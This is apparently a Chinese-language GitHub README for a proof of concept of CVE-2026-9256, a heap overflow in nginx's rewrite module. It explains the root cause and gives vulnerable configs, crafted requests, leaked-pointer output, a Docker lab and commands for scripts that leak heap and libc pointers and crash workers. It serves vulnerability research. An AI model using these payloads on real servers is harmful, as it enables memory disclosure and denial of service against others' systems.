3nou9h/CVE-2026-9256-Poc
GitHub: 3nou9h/CVE-2026-9256-Poc
该项目是 nginx ngx_http_rewrite_module 堆缓冲区溢出漏洞(CVE-2026-9256)的概念验证工具,包含堆指针泄漏、libc 泄漏和 DoS 崩溃三个阶段的 PoC 及 Docker 测试环境。
Stars: 2 | Forks: 1
# nginx ngx_http_rewrite_module 堆缓冲区溢出
## 描述
nginx Plus 和 nginx 开源版 `ngx_http_rewrite_module` 包含一个堆缓冲区溢出漏洞。当 `rewrite` 指令使用了带有多个重叠 PCRE 捕获组的正则表达式(例如 `^/((.*))$`),并且替换内容引用了多个捕获组(例如 `$1&y=$2`)时,静态路径的缓冲区大小计算会低估所需的内存空间,导致实际写入超过了分配的大小(Pool Slip)。
未经身份验证的攻击者可以通过精心构造的 HTTP 请求触发此漏洞,从而导致 worker 进程发生堆缓冲区溢出。当 ASLR 被禁用或可以被绕过时,可能会发生代码执行。
## 根本原因
**文件**: `src/http/ngx_http_script.c:1143-1155`
```
if (code->lengths == NULL) {
e->buf.len = code->size;
if (code->uri) {
if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
// BUG: escape overhead counted once for the entire URI
e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
NGX_ESCAPE_ARGS);
}
}
for (n = 2; n < r->ncaptures; n += 2) {
e->buf.len += r->captures[n + 1] - r->captures[n]; // raw length
}
}
```
每个 `$N` 在复制过程中都会被独立转义(`ngx_http_script.c:1397-1401`)。嵌套捕获会导致同一个子字符串被转义两次,从而使转义消耗的空间翻倍,但内存分配却只计算了一次。
**溢出公式**(2 层嵌套 `((.+))`,URI 中包含 Q 个 `+` 字符):
```
allocated = code_size + 2*Q + 2*(Q+1)
actual = code_size + 2*(3*Q + 1)
overflow = 2*Q (precisely controllable)
```
**触发条件**(需同时满足以下三个条件):
| 条件 | 详情 |
|-----------|--------|
| 无命名变量,无重复的 `$N` | 静态路径(`sc.variables==0 && !sc.dup_capture`) |
| 正则表达式中存在嵌套捕获组 | 例如 `((.+))` 会使得 `$1` 和 `$2` 匹配相同的内容 |
| URI 中存在 `+` 或 `%XX` | 触发转义路径(`plus_in_uri` 或 `quoted_uri`) |
## 测试环境
### 要求
- Docker(包含 docker compose)
- Python 3(无第三方依赖)
### 目录结构
```
.
├── env/
│ ├── Dockerfile # Based on nginx:1.31.0
│ ├── docker-compose.yml # Container config (SYS_PTRACE)
│ ├── entrypoint.sh # ASLR on (default)
│ ├── entrypoint_aslr_off.sh # ASLR off (for libc_leak)
│ └── nginx.conf # Vulnerable config
├── heap_leak.py # heap_leak PoC
├── libc_leak.py # libc_leak PoC
├── crash_verify.py # crash_verify PoC
├── LICENSE
└── README.md
```
### 构建与运行
```
cd env/
# 拉取 base image (~200MB)
docker pull nginx:1.31.0
# Build 和启动
docker compose up --build -d
# 验证
curl -s http://127.0.0.1:19321/
# 预期:ok
```
### 常用命令
```
# 查看 nginx 日志(崩溃信息)
docker compose logs -f
# 停止并移除
docker compose down
# 重启(崩溃后)
docker compose restart
```
### ASLR
**检查当前状态**:
```
cat /proc/sys/kernel/randomize_va_space
# 0 = off,1 = partial,2 = full
```
heap_leak 和 crash_verify 无论 ASLR 是否开启都能正常工作。libc_leak 则需要宿主机关闭 ASLR:
```
sudo sysctl -w kernel.randomize_va_space=0
docker compose restart
```
或者,仅针对 nginx 进程关闭 ASLR(不需要宿主机权限):
将 `entrypoint_aslr_off.sh` 覆盖 `entrypoint.sh`,然后执行 `docker compose up --build -d`。
## 验证结果
### 堆指针泄漏
**所需配置**:
```
location /echo/ {
rewrite ^/echo/((.+))$ /show?x=$1&y=$2 last;
}
location /show {
internal;
default_type text/plain;
return 200 "x=$arg_x\ny=$arg_y\n";
}
```
**机制**:Pool Slip 导致 `ngx_pcalloc(r->pool, sizeof(ngx_http_script_engine_t))` 落入溢出区域。脚本引擎已初始化的字段(`e->ip`, `e->sp`, `e->request`)泄漏到重写后的 URI 查询字符串中,并通过 `return 200 "$arg_y"` 返回。
**请求**:
```
GET /echo/%25%25%25%25%25A HTTP/1.0
```
**验证结果**(nginx:1.31.0,开启 ASLR):
```
e->ip = 0x00006544dec82430 (config pool codes array)
e->sp = 0x00006544dec5ada0 (request pool script stack)
e->request = 0x00006544dec58880 (request struct)
```
**泄漏内容**:nginx worker 地址空间内的原始堆指针。
**PoC**:`heap_leak.py`
### libc 范围指针泄漏
**所需配置**:
```
location /leak2/ {
rewrite ^/leak2/((.+))$ /proxy-leak?x=$1&y=$2 last;
}
location /proxy-leak {
internal;
proxy_pass http://backend; # must be reachable
add_header X-Leak-Y "$arg_y" always;
}
```
**机制**:proxy_pass 触发上游初始化。包含库函数指针的上游结构体被分配到溢出区域中。`add_header "$arg_y"` 将这些原始字节写入响应头。
**请求**:
```
GET /leak2/%25%25...(~40 x %25)...A HTTP/1.0
```
**验证结果**(nginx:1.31.0,关闭 ASLR,request_pool_size=7920):
```
leaked ptr = 0x00007fbfc3b7c346
```
**泄漏内容**:位于 `0x7f...` 范围内的原始指针(libc 加载区域)。要计算 libc 基址,请在目标机器上读取 `/proc//maps`,并计算 `leaked_ptr - libc_base`。
**ASLR 依赖性**:此阶段需要关闭 ASLR。泄漏的指针源自被释放的 chunk 元数据(fd/bk → main_arena)。如果开启 ASLR,被释放的 chunk 偏移量会发生变化,微小的溢出无法可靠地触及该指针。
**PoC**:`libc_leak.py`
### Worker 崩溃 (DoS)
**所需配置**:
```
location /leak9/ {
rewrite ^/leak9/(((((((((.+)))))))))$ /show9?a=$1&b=$2&c=$3&d=$4&e=$5&f=$6&g=$7&h=$8&i=$9 last;
}
location /show9 {
internal;
default_type text/plain;
return 200 "i=$arg_i\n";
}
```
**机制**:9 层嵌套产生的溢出为 16*Q(相比之下,2 层为 2*Q)。在 request_pool_size=7920 时,Q=123 会超出 pool 块边界,覆盖相邻的 malloc chunk 元数据。glibc 检测到内存损坏并终止 worker 进程。Master 进程会自动重启。
**请求**:
```
GET /leak9/%2b%2b...(123 x %2b)...A HTTP/1.0
```
**验证结果**(nginx:1.31.0,request_pool_size=7920):
```
Q=122: normal response (overflow=1952B)
Q=123: no response, nginx error.log:
corrupted size vs. prev_size
worker process XX exited on signal 6 (core dumped)
Reproduced 5/5 times.
```
**嵌套与 pool_size 的关系**:N 层嵌套产生的溢出为 `(N-1)*2*Q`。默认 pool_size=4096 配合 9 层嵌套足以导致崩溃。pool_size 越大,在给定 Q 值下所需的嵌套层数就越少。
**PoC**:`crash_verify.py`
## 运行 PoC
```
# 阶段 1:Heap 指针泄漏
python3 heap_leak.py 127.0.0.1 19321
# 阶段 2:libc-range 指针泄漏(需要关闭 ASLR)
python3 libc_leak.py 127.0.0.1 19321
# 阶段 3:DoS 崩溃
python3 crash_verify.py 127.0.0.1 19321
```
## 免责声明
此概念验证仅用于教育和授权安全研究目的。严禁未经授权使用。
标签:C/C++, Nginx, 事务性I/O, 堆溢出, 底层安全, 漏洞分析, 请求拦截, 路径探测, 逆向工具